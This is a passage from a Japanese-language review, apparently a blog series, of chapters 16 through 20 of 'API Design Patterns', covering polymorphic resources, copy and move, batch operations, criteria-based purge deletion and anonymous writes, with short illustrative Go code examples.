異なるタイプのリソースに対して、適切なアクセス制御を実装することが重要です。例えば、特定のユーザーが特定のタイプのメッセージのみを作成できるようにする場合などです。ポリモーフィックメソッドの回避著者は、ポリモーフィックリソースの使用を推奨する一方で、ポリモーフィックメソッド(複数の異なるリソースタイプで動作する単一のAPIメソッド)の使用を強く警告しています。これは非常に重要な指摘です。ポリモーフィックメソッドは、一見すると便利に見えますが、長期的には多くの問題を引き起こす可能性があります。柔軟性の欠如: 異なるリソースタイプが将来的に異なる振る舞いを必要とする可能性があります。ポリモーフィックメソッドはこの柔軟性を制限します。複雑性の増加: メソッド内で多くの条件分岐が必要になり、コードの複雑性が増加します。バージョニングの難しさ: 一部のリソースタイプに対してのみ変更を加えたい場合、既存のクライアントに影響を与えずにそれを行うことが困難になります。ドキュメンテーションの複雑さ: 様々なリソースタイプに対する振る舞いを明確にドキュメント化することが難しくなります。代わりに、著者は各リソースタイプに対して個別のメソッドを定義することを推奨しています。これにより、APIの柔軟性と保守性が向上します。結論第16章「Polymorphism」は、APIにおけるポリモーフィズムの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、拡張性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ポリモーフィックリソースは、異なるサブタイプを持つリソースを効果的に表現し、管理するための強力なツールです。タイプフィールドを使用してリソースのサブタイプを明示的に示すことで、APIの柔軟性と拡張性が向上します。ポリモーフィックリソースの設計には慎重な考慮が必要で、特にデータ構造とバリデーションに注意を払う必要があります。ポリモーフィックメソッドは避けるべきで、代わりに各リソースタイプに対して個別のメソッドを定義することが推奨されます。ポリモーフィズムの適用は、APIの一貫性を向上させつつ、将来的な拡張性を確保するための効果的な手段となります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、ポリモーフィズムの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。ポリモーフィズムの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。Part 5 Collective operationsこのパートでは、複数のリソースを一度に操作する方法について議論されています。コピーと移動、バッチ操作、条件付き削除、匿名書き込み、ページネーション、フィルタリング、インポートとエクスポートなど、大量のデータや複雑な操作を効率的に扱うための手法が紹介されています。これらの操作は、特に大規模なシステムやデータ集約型のアプリケーションにおいて重要です。17 Copy and move「API Design Patterns」の第17章「Copy and move」は、APIにおけるリソースのコピーと移動操作の実装方法、その複雑さ、そしてトレードオフについて詳細に論じています。この章を通じて、著者はこれらの操作が一見単純に見えるものの、実際には多くの考慮事項と課題を含む複雑な問題であることを明確に示しています。コピーと移動操作の必要性と概要著者は、理想的な世界ではリソースの階層関係が完璧に設計され、不変であるべきだと指摘しています。しかし現実には、ユーザーの誤りや要件の変更により、リソースの再配置や複製が必要になることがあります。この問題に対処するため、著者はカスタムメソッドを使用したコピーと移動操作の実装を提案しています。これらの操作は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービス間でデータを移動したり、テスト環境から本番環境にリソースをコピーしたりする際に、これらの操作が必要になります。著者は、コピーと移動操作の基本的な構造として以下の要素を提案しています。カスタムメソッドの使用(標準のCRUD操作ではなく)対象リソースの識別子目的地(新しい親リソースまたは新しい識別子)これらの要素を組み合わせることで、APIは柔軟かつ制御可能なコピーと移動操作を提供することができます。実装の詳細と課題著者は、コピーと移動操作の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。識別子の扱い: コピー操作では、新しいリソースの識別子をどのように決定するか(ユーザー指定か、システム生成か)を慎重に検討する必要があります。移動操作では、識別子の変更が許可されるかどうかを考慮する必要があります。子リソースの扱い: 親リソースをコピーまたは移動する際、子リソースをどのように扱うかを決定する必要があります。著者は、一般的に子リソースも一緒にコピーまたは移動すべきだと提案しています。関連リソースの扱い: リソース間の参照関係をどのように維持するかを考慮する必要があります。特に移動操作では、関連リソースの参照を更新する必要があります。外部データの扱い: 大容量のデータ(例:ファイルの内容)をどのように扱うかを決定する必要があります。著者は、コピー操作では「copy-on-write」戦略を推奨しています。継承されたメタデータの扱い: 親リソースから継承されたメタデータ(例:アクセス制御ポリシー)をどのように扱うかを考慮する必要があります。アトミック性の確保: 操作全体のアトミック性をどのように確保するかを検討する必要があります。データベーストランザクションの使用や、ポイントインタイムスナップショットの利用が推奨されています。これらの課題に対処するため、著者は具体的な実装戦略を提案しています。例えば、Golangを用いてコピー操作を実装する場合、以下のようなコードが考えられます。type CopyRequest struct { SourceID string `json:\"sourceId\"` DestinationID string `json:\"destinationId,omitempty\"`}func (s *Service) CopyResource(ctx context.Context, req CopyRequest) (*Resource, error) { // トランザクションの開始 tx, err := s.db.BeginTx(ctx, nil) if err != nil { return nil, err } defer tx.Rollback() // ソースリソースの取得 source, err := s.getResourceWithinTx(tx, req.SourceID) if err != nil { return nil, err } // 新しい識別子の生成(または検証) destID := req.DestinationID if destID == \"\" { destID = generateNewID() } else if exists, _ := s.resourceExistsWithinTx(tx, destID); exists { return nil, ErrResourceAlreadyExists } // リソースのコピー newResource := copyResource(source, destID) // 子リソースのコピー if err := s.copyChildResourcesWithinTx(tx, source.ID, newResource.ID); err != nil { return nil, err } // 新しいリソースの保存 if err := s.saveResourceWithinTx(tx, newResource); err != nil { return nil, err } // トランザクションのコミット if err := tx.Commit(); err != nil { return nil, err } return newResource, nil}このコードは、データベーストランザクションを使用してコピー操作のアトミック性を確保し、子リソースも含めてコピーを行っています。また、目的地の識別子が指定されていない場合は新しい識別子を生成し、指定されている場合は既存リソースとの衝突をチェックしています。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティとパフォーマンス: コピーや移動操作は、大量のデータを扱う可能性があるため、システムのスケーラビリティとパフォーマンスに大きな影響を与えます。特に、大規模なリソース階層を持つシステムでは、これらの操作の効率的な実装が重要になります。データの整合性: コピーや移動操作中にデータの整合性を維持することは、システムの信頼性にとって極めて重要です。特に、分散システムにおいては、これらの操作のアトミック性を確保することが大きな課題となります。APIの進化と後方互換性: コピーや移動操作の導入は、APIの大きな変更となる可能性があります。既存のクライアントとの互換性を維持しつつ、これらの操作をどのように導入するかを慎重に検討する必要があります。セキュリティとアクセス制御: リソースのコピーや移動は、セキュリティモデルに大きな影響を与える可能性があります。特に、異なるセキュリティコンテキスト間でリソースを移動する場合、適切なアクセス制御の実装が重要になります。運用の複雑さ: コピーや移動操作の導入は、システムの運用複雑性を増大させる可能性があります。これらの操作のモニタリング、トラブルシューティング、そして必要に応じたロールバック手順の確立が重要になります。イベント駆動アーキテクチャとの統合: コピーや移動操作をイベントとして発行することで、システム全体の一貫性を維持しやすくなります。例えば、リソースが移動されたときにイベントを発行し、関連するサービスがそれに反応して必要な更新を行うことができます。結論第17章「Copy and move」は、APIにおけるリソースのコピーと移動操作の重要性と、その実装に伴う複雑さを明確に示しています。著者の提案する設計原則は、これらの操作を安全かつ効果的に実装するための重要な指針となります。特に重要な点は以下の通りです。コピーと移動操作は、カスタムメソッドとして実装すべきであり、標準的なCRUD操作では適切に処理できません。これらの操作は、子リソースや関連リソースにも影響を与えるため、その影響範囲を慎重に考慮する必要があります。データの整合性とアトミック性の確保が極めて重要であり、適切なトランザクション管理やスナップショット機能の利用が推奨されます。外部データやメタデータの扱い、特に大容量データの効率的な処理方法を考慮する必要があります。これらの操作の導入は、システムの複雑性を増大させる可能性があるため、その必要性を慎重に評価する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、コピーと移動操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。コピーと移動操作の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。しかし、同時にこれらの操作は系統的なリスクをもたらす可能性があるため、その導入には慎重な検討が必要です。API設計者とシステム設計者は、これらの操作の利点とリスクを十分に理解し、システムの要件に応じて適切に適用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。18 Batch operations「API Design Patterns」の第18章「Batch operations」は、APIにおけるバッチ操作の重要性、設計原則、実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はバッチ操作が単なる利便性の向上だけでなく、APIの効率性、スケーラビリティ、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。バッチ操作の必要性と概要著者は、個々のリソースに対する操作だけでなく、複数のリソースを一度に操作する必要性から議論を始めています。特に、データベースシステムにおけるトランザクションの概念を引き合いに出し、Webベースのシステムにおいても同様の原子性を持つ操作が必要であることを強調しています。バッチ操作の重要性は、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において顕著です。例えば、複数のサービス間でデータの一貫性を保ちながら大量のリソースを更新する必要がある場合、個別のAPI呼び出しでは効率が悪く、エラーハンドリングも複雑になります。バッチ操作を適切に設計することで、これらの問題を解決し、システム全体の効率性と信頼性を向上させることができます。著者は、バッチ操作を実現するための主要な方法として、標準メソッド(Get、Create、Update、Delete)に対応するバッチバージョンのカスタムメソッドを提案しています。BatchGetBatchCreateBatchUpdateBatchDeleteこれらのメソッドは、複数のリソースに対する操作を単一のAPI呼び出しで実行することを可能にします。バッチ操作の設計原則著者は、バッチ操作の設計に関していくつかの重要な原則を提示しています。原子性: バッチ操作は全て成功するか、全て失敗するかのいずれかであるべきです。部分的な成功は許容されません。コレクションに対する操作: バッチメソッドは、個々のリソースではなく、リソースのコレクションに対して操作を行うべきです。結果の順序保持: バッチ操作の結果は、リクエストで指定されたリソースの順序を保持して返すべきです。共通フィールドの最適化: リクエスト内で共通のフィールドを持つ場合、それらを「持ち上げ」て重複を避けるべきです。複数の親リソースに対する操作: 必要に応じて、異なる親リソースに属するリソースに対するバッチ操作をサポートすべきです。これらの原則は、バッチ操作の一貫性、効率性、そして使いやすさを確保する上で重要です。特に、原子性の保証は、システムの一貫性を維持し、複雑なエラーハンドリングを回避する上で非常に重要です。実装の詳細著者は、各バッチ操作メソッドの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。BatchGet: IDのリストを受け取り、対応するリソースのリストを返します。HTTP GETメソッドを使用し、IDはクエリパラメータとして渡されます。BatchCreate: 作成するリソースのリストを受け取り、作成されたリソースのリストを返します。HTTP POSTメソッドを使用します。BatchUpdate: 更新するリソースのリストとフィールドマスクを受け取り、更新されたリソースのリストを返します。HTTP POSTメソッドを使用します。BatchDelete: 削除するリソースのIDリストを受け取り、操作の成功を示すvoid型を返します。HTTP POSTメソッドを使用します。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangを用いてバッチ操作を実装する場合、以下のようなインターフェースとメソッドが考えられます。type BatchService interface { BatchGet(ctx context.Context, ids []string) ([]*Resource, error) BatchCreate(ctx context.Context, resources []*Resource) ([]*Resource, error) BatchUpdate(ctx context.Context, updates []*ResourceUpdate) ([]*Resource, error) BatchDelete(ctx context.Context, ids []string) error}type ResourceUpdate struct { ID string UpdateMask []string Resource *Resource}func (s *service) BatchGet(ctx context.Context, ids []string) ([]*Resource, error) { // トランザクションの開始 tx, err := s.db.BeginTx(ctx, nil) if err != nil { return nil, err } defer tx.Rollback() resources := make([]*Resource, len(ids)) for i, id := range ids { resource, err := s.getResourceWithinTx(tx, id) if err != nil { return nil, err // 1つでも失敗したら全体を失敗とする } resources[i] = resource } if err := tx.Commit(); err != nil { return nil, err } return resources, nil}この実装例では、BatchGetメソッドがトランザクションを使用して原子性を確保し、1つのリソースの取得に失敗した場合は全体を失敗として扱っています。バッチ操作の影響とトレードオフ著者は、バッチ操作の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: バッチ操作は、ネットワーク呼び出しの回数を減らし、全体的なスループットを向上させる可能性があります。しかし、大規模なバッチ操作は、サーバーリソースに大きな負荷をかける可能性もあります。エラーハンドリングの複雑さ: 原子性を保証することで、エラーハンドリングが簡素化されます。しかし、全て成功するか全て失敗するかの動作は、一部のユースケースでは不便な場合があります。API設計の一貫性: バッチ操作の導入は、API全体の設計に一貫性をもたらす可能性がありますが、同時に新たな複雑さも導入します。システムの復元力: 適切に設計されたバッチ操作は、システムの復元力を向上させる可能性があります。例えば、一時的な障害が発生した場合、バッチ全体をリトライすることで回復が容易になります。モニタリングと可観測性: バッチ操作は、システムの挙動を監視し理解することをより複雑にする可能性があります。個々の操作の詳細が見えにくくなるため、適切なロギングと監視戦略が重要になります。これらの影響とトレードオフを考慮しながら、バッチ操作の導入を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: バッチ操作は、マイクロサービス間のデータ一貫性を維持する上で重要な役割を果たします。例えば、複数のサービスにまたがるリソースの更新を、単一のトランザクションとして扱うことができます。イベント駆動アーキテクチャとの連携: バッチ操作の結果をイベントとして発行することで、システム全体の反応性と柔軟性を向上させることができます。キャッシュ戦略: バッチ操作は、キャッシュの一貫性維持を複雑にする可能性があります。適切なキャッシュ無効化戦略が必要になります。レート制限とクォータ管理: バッチ操作は、リソース使用量を急激に増加させる可能性があるため、適切なレート制限とクォータ管理が重要になります。非同期処理との統合: 長時間実行されるバッチ操作の場合、非同期処理パターン(例:ポーリング、Webhookなど)と統合することで、クライアントの応答性を向上させることができます。結論第18章「Batch operations」は、APIにおけるバッチ操作の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、スケーラビリティ、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。バッチ操作は、複数のリソースに対する操作を効率的に行うための強力なツールです。原子性の保証は、システムの一貫性を維持し、エラーハンドリングを簡素化する上で重要です。バッチ操作の設計には、結果の順序保持、共通フィールドの最適化、複数親リソースのサポートなど、いくつかの重要な原則があります。バッチ操作の導入は、システム全体のパフォーマンス、スケーラビリティ、そして運用性に大きな影響を与えます。バッチ操作の適切な実装には、トランザクション管理、エラーハンドリング、モニタリングなど、複数の側面を考慮する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。しかし、バッチ操作の導入には慎重な検討が必要です。全ての操作をバッチ化することが適切とは限らず、システムの要件や制約に基づいて適切なバランスを取る必要があります。また、バッチ操作の導入に伴う複雑さの増加を管理するために、適切なモニタリング、ロギング、そしてエラーハンドリング戦略を確立することが重要です。最後に、バッチ操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。バッチ操作の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。特に、大規模なデータ処理や複雑なビジネスロジックを持つシステムにおいて、バッチ操作は極めて重要な役割を果たします。適切に設計されたバッチ操作は、システムの性能を大幅に向上させ、運用コストを削減し、ユーザー体験を向上させる強力なツールとなります。19 Criteria-based deletion「API Design Patterns」の第19章「Criteria-based deletion」は、APIにおける条件に基づく削除操作の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は条件に基づく削除操作(purge操作)が単なる利便性の向上だけでなく、APIの柔軟性、効率性、そして全体的なシステムの安全性にどのように影響を与えるかを明確に示しています。条件に基づく削除の必要性と概要著者は、バッチ削除操作の限界から議論を始めています。バッチ削除では、削除対象のリソースのIDを事前に知っている必要がありますが、実際の運用では特定の条件に合致するすべてのリソースを削除したい場合が多々あります。例えば、アーカイブされたすべてのチャットルームを削除するような操作です。この問題に対処するため、著者は「purge」と呼ばれる新しいカスタムメソッドを提案しています。purgeメソッドは、フィルタ条件を受け取り、その条件に合致するすべてのリソースを一度に削除します。これにより、複数のAPI呼び出し(リソースの一覧取得と削除の組み合わせ)を1回のAPI呼び出しに置き換えることができ、効率性と一貫性が向上します。しかし、著者はこの操作の危険性も明確に指摘しています。purge操作は、ユーザーが意図せずに大量のデータを削除してしまう可能性があるため、慎重に設計し、適切な安全機構を組み込む必要があります。purge操作の設計と実装著者は、purge操作の安全な実装のために以下の重要な要素を提案しています。forceフラグ: デフォルトでは削除を実行せず、プレビューモードとして動作します。実際に削除を行うには、明示的にforceフラグをtrueに設定する必要があります。purgeCount: 削除対象となるリソースの数を返します。プレビューモードでは概算値を返すこともあります。purgeSample: 削除対象となるリソースのサンプルセットを返します。これにより、ユーザーは削除対象が意図したものであるかを確認できます。これらの要素を組み合わせることで、APIは柔軟かつ安全な条件付き削除機能を提供することができます。著者は、purge操作の実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。フィルタリング: purge操作のフィルタは、標準的なリスト操作のフィルタと同じように動作すべきです。これにより、APIの一貫性が保たれます。デフォルトの動作: 安全性を確保するため、デフォルトではプレビューモードとして動作し、実際の削除は行いません。結果の一貫性: プレビューと実際の削除操作の間でデータが変更される可能性があるため、完全な一貫性は保証できません。この制限をユーザーに明確に伝える必要があります。これらの原則を適用した、Golangでのpurge操作の実装例を以下に示します。type PurgeRequest struct { Parent string `json:\"parent\"` Filter string `json:\"filter\"` Force bool `json:\"force\"`}type PurgeResponse struct { PurgeCount int `json:\"purgeCount\"` PurgeSample []string `json:\"purgeSample,omitempty\"`}func (s *Service) PurgeMessages(ctx context.Context, req *PurgeRequest) (*PurgeResponse, error) { // フィルタの検証 if req.Filter == \"\" { return nil, errors.New(\"filter is required\") } // マッチするリソースの取得 matchingResources, err := s.getMatchingResources(ctx, req.Parent, req.Filter) if err != nil { return nil, err } response := &PurgeResponse{ PurgeCount: len(matchingResources), PurgeSample: getSample(matchingResources, 100), } // 実際の削除操作 if req.Force { if err := s.deleteResources(ctx, matchingResources); err != nil { return nil, err } } return response, nil}この実装例では、forceフラグがfalseの場合はプレビューのみを行い、trueの場合に実際の削除を実行します。また、削除対象のサンプルを返すことで、ユーザーが意図した操作であるかを確認できるようにしています。purge操作の影響とトレードオフ著者は、purge操作の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスと効率性: purge操作は、複数のAPI呼び出しを1回の呼び出しに置き換えることで、全体的な効率を向上させます。しかし、大量のデータを一度に処理する必要があるため、サーバーリソースに大きな負荷をかける可能性があります。安全性とユーザビリティのバランス: デフォルトでプレビューモードとして動作することで安全性を確保していますが、これは同時にユーザーが2回のAPI呼び出しを行う必要があることを意味します。このトレードオフを適切に管理する必要があります。データの一貫性: プレビューと実際の削除操作の間でデータが変更される可能性があるため、完全な一貫性を保証することは困難です。この制限をユーザーに明確に伝え、適切に管理する必要があります。エラー処理の複雑さ: 大量のリソースを一度に削除する際、一部のリソースの削除に失敗した場合の処理が複雑になる可能性があります。部分的な成功をどのように扱うかを慎重に設計する必要があります。監視と可観測性: purge操作は、システムの状態を大きく変更する可能性があるため、適切な監視と監査メカニズムが不可欠です。どのような条件で、どれだけのリソースが削除されたかを追跡できるようにする必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: purge操作は、複数のマイクロサービスにまたがるデータの一貫性を維持する上で重要な役割を果たす可能性があります。例えば、ユーザーデータの削除(GDPR対応など)や、大規模なデータクリーンアップ操作に利用できます。イベント駆動アーキテクチャとの連携: purge操作の結果をイベントとして発行することで、関連するシステムコンポーネントが適切に反応し、全体的な一貫性を維持することができます。バックグラウンドジョブとしての実装: 大規模なpurge操作は、非同期のバックグラウンドジョブとして実装することを検討すべきです。これにより、クライアントのタイムアウトを回避し、システムの応答性を維持することができます。段階的な削除戦略: 大量のデータを一度に削除するのではなく、段階的に削除を行う戦略を検討すべきです。これにより、システムへの影響を最小限に抑えつつ、大規模な削除操作を安全に実行することができます。監査とコンプライアンス: purge操作は、監査とコンプライアンスの観点から重要です。どのデータがいつ、誰によって、どのような条件で削除されたかを追跡できるようにする必要があります。結論第19章「Criteria-based deletion」は、条件に基づく削除操作(purge操作)の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性と効率性を向上させる一方で、システムの安全性と整合性を維持することを目指しています。特に重要な点は以下の通りです。purge操作は、条件に基づいて複数のリソースを一度に削除する強力なツールですが、慎重に設計し、適切な安全機構を組み込む必要があります。デフォルトでプレビューモードとして動作し、実際の削除には明示的な承認(forceフラグ)を要求することで、意図しない大規模削除を防ぐことができます。削除対象のリソース数とサンプルを提供することで、ユーザーが操作の影響を事前に評価できるようにすることが重要です。データの一貫性の保証が難しいため、この制限をユーザーに明確に伝える必要があります。purge操作の導入は、システム全体のパフォーマンス、スケーラビリティ、そして運用性に大きな影響を与える可能性があるため、慎重に検討する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、かつ安全なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なデータ管理戦略の一部として直接的に適用可能です。しかし、purge操作の導入には慎重な検討が必要です。その強力な機能ゆえに、システムの安全性とデータの整合性に大きなリスクをもたらす可能性があります。したがって、purge操作は本当に必要な場合にのみ導入し、適切な制限と監視メカニズムを併せて実装することが重要です。最後に、purge操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体のデータ管理戦略、セキュリティポリシー、そして運用プラクティスにも大きな影響を与えます。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。purge操作の適切な実装は、システムのデータ管理能力を大幅に向上させ、運用効率を高める可能性があります。しかし、同時にそれは大きな責任を伴います。API設計者とシステム設計者は、これらの操作の影響を深く理解し、適切なサフェガードを実装することで、より堅牢で効率的、かつ安全なシステムを構築することができるでしょう。特に、大規模なデータ管理や複雑なビジネスロジックを持つシステムにおいて、purge操作は極めて重要な役割を果たす可能性がありますが、その導入には慎重な検討と綿密な計画が不可欠です。20 Anonymous writes「API Design Patterns」の第20章「Anonymous writes」は、APIにおける匿名データの書き込みの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は従来のリソース指向のAPIデザインでは対応が難しい匿名データの取り扱いについて、新しいアプローチを提案し、それがシステム全体のアーキテクチャと運用にどのように影響を与えるかを明確に示しています。匿名データの必要性と概要著者は、これまでのAPIデザインパターンでは全てのデータをリソースとして扱ってきたことを指摘し、この approach が全てのシナリオに適しているわけではないという問題提起から議論を始めています。特に、時系列データやログエントリのような、個別に識別や操作する必要のないデータの取り扱いについて、新しいアプローチの必要性を強調しています。この問題は、特に大規模なデータ分析システムやクラウドネイティブな環境において顕著です。例えば、IoTデバイスから大量のセンサーデータを収集する場合や、マイクロサービス間のイベントログを記録する場合など、個々のデータポイントよりも集計結果や傾向分析が重要となるシナリオが多々あります。著者は、このような匿名データを扱うための新しいカスタムメソッド「write」を提案しています。このメソッドの主な特徴は以下の通りです。データは一意の識別子を持たず、個別にアドレス指定できない。書き込まれたデータは、主に集計や分析の目的で使用される。個々のデータエントリの取得、更新、削除は想定されていない。この概念は、現代のビッグデータ分析システムやイベント駆動アーキテクチャと非常に親和性が高く、特にクラウドネイティブな環境での応用が期待されます。write メソッドの実装著者は、write メソッドの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。戻り値: write メソッドは void を返すべきです。これは、個々のデータエントリが識別可能でないため、新しく作成されたリソースを返す必要がないためです。ペイロード: データは entry フィールドを通じて送信されます。これは標準の create メソッドの resource フィールドに相当します。URL構造: コレクションをターゲットとするべきです。例えば、/chatRooms/1/statEntries:write のような形式です。一貫性: write メソッドは即座に応答を返すべきですが、データが即座に読み取り可能である必要はありません。これは、大規模なデータ処理パイプラインの特性を反映しています。これらの原則を適用した、Golangでのwrite メソッドの実装例を以下に示します。type ChatRoomStatEntry struct { Name string `json:\"name\"` Value interface{} `json:\"value\"`}type WriteChatRoomStatEntryRequest struct { Parent string `json:\"parent\"` Entry ChatRoomStatEntry `json:\"entry\"`}func (s *Service) WriteChatRoomStatEntry(ctx context.Context, req *WriteChatRoomStatEntryRequest) error { // データの検証 if err := validateEntry(req.Entry); err != nil { return err } // データ処理パイプラインへの送信 if err := s.dataPipeline.Send(ctx, req.Parent, req.Entry); err != nil { return err } // 即座に成功を返す return nil}この実装例では、データの検証を行った後、非同期のデータ処理パイプラインにデータを送信しています。メソッドは即座に応答を返し、クライアントはデータが処理されるのを待つ必要がありません。一貫性と運用上の考慮事項著者は、write メソッドの一貫性モデルについて重要な指摘をしています。従来のリソース指向のAPIでは、データの書き込み後即座にそのデータが読み取り可能であることが期待されますが、write メソッドではこの即時一貫性は保証されません。これは、大規模なデータ処理システムの現実的な運用を反映しています。例えば、時系列データベースやビッグデータ処理システムでは、データの取り込みと処理に時間差があるのが一般的です。著者は、この非同期性を明示的に設計に組み込むことで、より効率的で拡張性の高いシステムが構築できると主張しています。運用の観点から見ると、この設計には以下のような利点があります。スケーラビリティの向上: データの取り込みと処理を分離することで、それぞれを独立してスケールさせることができます。システムの回復力: データ処理パイプラインに一時的な問題が発生しても、データの取り込み自体は継続できます。バッファリングと負荷平準化: 取り込んだデータをバッファリングすることで、下流のシステムへの負荷を平準化できます。運用の柔軟性: データ処理ロジックを変更する際に、APIインターフェースを変更せずに済みます。著者は、クライアントにデータの処理状況を伝えるために、HTTP 202 Accepted ステータスコードの使用を推奨しています。これは、データが受け入れられたが、まだ完全に処理されていないことを示す適切な方法です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。イベント駆動アーキテクチャとの親和性: write メソッドは、イベントソーシングやCQRSパターンと非常に相性が良いです。例えば、マイクロサービス間の非同期通信や、イベントストリームの生成に活用できます。観測可能性の向上: 匿名データの書き込みを明示的に設計に組み込むことで、システムの振る舞いをより詳細に観測できるようになります。例えば、各サービスの内部状態の変化を時系列データとして記録し、後で分析することが容易になります。コンプライアンスと監査: 匿名データの書き込みを標準化することで、システム全体の動作ログを一貫した方法で収集できます。これは、コンプライアンス要件の遵守や、システムの監査に役立ちます。パフォーマンスチューニング: 集計データの収集を最適化することで、システム全体のパフォーマンスプロファイルを詳細に把握し、ボトルネックの特定や最適化が容易になります。A/Bテストとフィーチャーフラグ: 匿名データを活用することで、新機能の段階的なロールアウトや、A/Bテストの結果収集を効率的に行うことができます。結論第20章「Anonymous writes」は、APIにおける匿名データの取り扱いの重要性と、その適切な実装方法を明確に示しています。著者の提案するwrite メソッドは、従来のリソース指向のAPIデザインを補完し、より柔軟で拡張性の高いシステム設計を可能にします。特に重要な点は以下の通りです。全てのデータをリソースとして扱う必要はなく、匿名データの概念を導入することで、より効率的なデータ処理が可能になります。write メソッドは、即時一貫性を犠牲にする代わりに、高いスケーラビリティと柔軟性を提供します。匿名データの取り扱いは、大規模なデータ分析システムやイベント駆動アーキテクチャと非常に親和性が高いです。システムの観測可能性、コンプライアンス、パフォーマンスチューニングなど、運用面でも多くの利点があります。write メソッドの導入には、システム全体のアーキテクチャと処理パイプラインの設計を考慮する必要があります。これらの原則を適切に適用することで、開発者はより柔軟で拡張性の高いAPIを設計することができます。特に、大規模なデータ処理や複雑なイベント駆動システムを扱う場合、この設計パターンは非常に有用です。しかし、write メソッドの導入には慎重な検討も必要です。即時一貫性が重要なユースケースでは、従来のリソース指向のアプローチが適している場合もあります。また、匿名データの取り扱いは、データの追跡やデバッグを複雑にする可能性があるため、適切なモニタリングとログ記録の戦略が不可欠です。最後に、匿名データの取り扱いはシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。write メソッドの導入は、単にAPIの機能を拡張するだけでなく、システム全体のデータフロー、処理パイプライン、そして運用プラクティスにも大きな影響を与えます。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で複雑なシステムの設計において非常に重要です。匿名データの適切な取り扱いは、システムの拡張性、柔軟性、そして運用効率を大きく向上させる可能性があります。API設計者とシステム設計者は、これらの概念を深く理解し、適切に応用することで、より堅牢で効率的なシステムを構築することができるでしょう。21 Pagination「API Design 